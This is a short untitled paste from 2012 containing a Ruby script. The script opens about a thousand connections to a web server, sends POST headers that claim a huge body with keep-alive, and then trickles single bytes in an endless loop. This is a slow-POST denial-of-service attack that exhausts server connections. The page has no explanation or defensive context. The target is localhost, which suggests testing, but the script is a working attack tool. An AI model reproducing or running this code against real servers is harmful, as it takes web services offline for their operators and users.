
Untitled
By: a guest on
May 30th, 2012 | syntax:
None | size: 0.74 KB | hits: 9 | expires: Never
#!/usr/bin/ruby
require 'socket'
num = 1000
sockets = []
for i in 0..num
s = TCPSocket.open('127.0.0.1', 80)
sockets[i] = s
message = %{POST /aaaaaaaaaaaa HTTP/1.1\r
HOST: my.local.com\r
Connection: keep-alive\r
Keep-Alive: 900\r
Content-Length: 100000000\r
Content-Type: application/x-www-form-urlencoded\r
Accept: *.*\r
USER_AGENT = Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r
my.local.com}
unless s.nil?
puts i.to_s + ' connected'
send = s.send(message,0)
if send <= 0
puts "Error sending"
else
puts i.to_s + " Sent data"
end
end
end
loop do
for i in 0..num
if sockets[i].read.length > 0
sockets[i].send('z',0)
end
end
sleep 1
end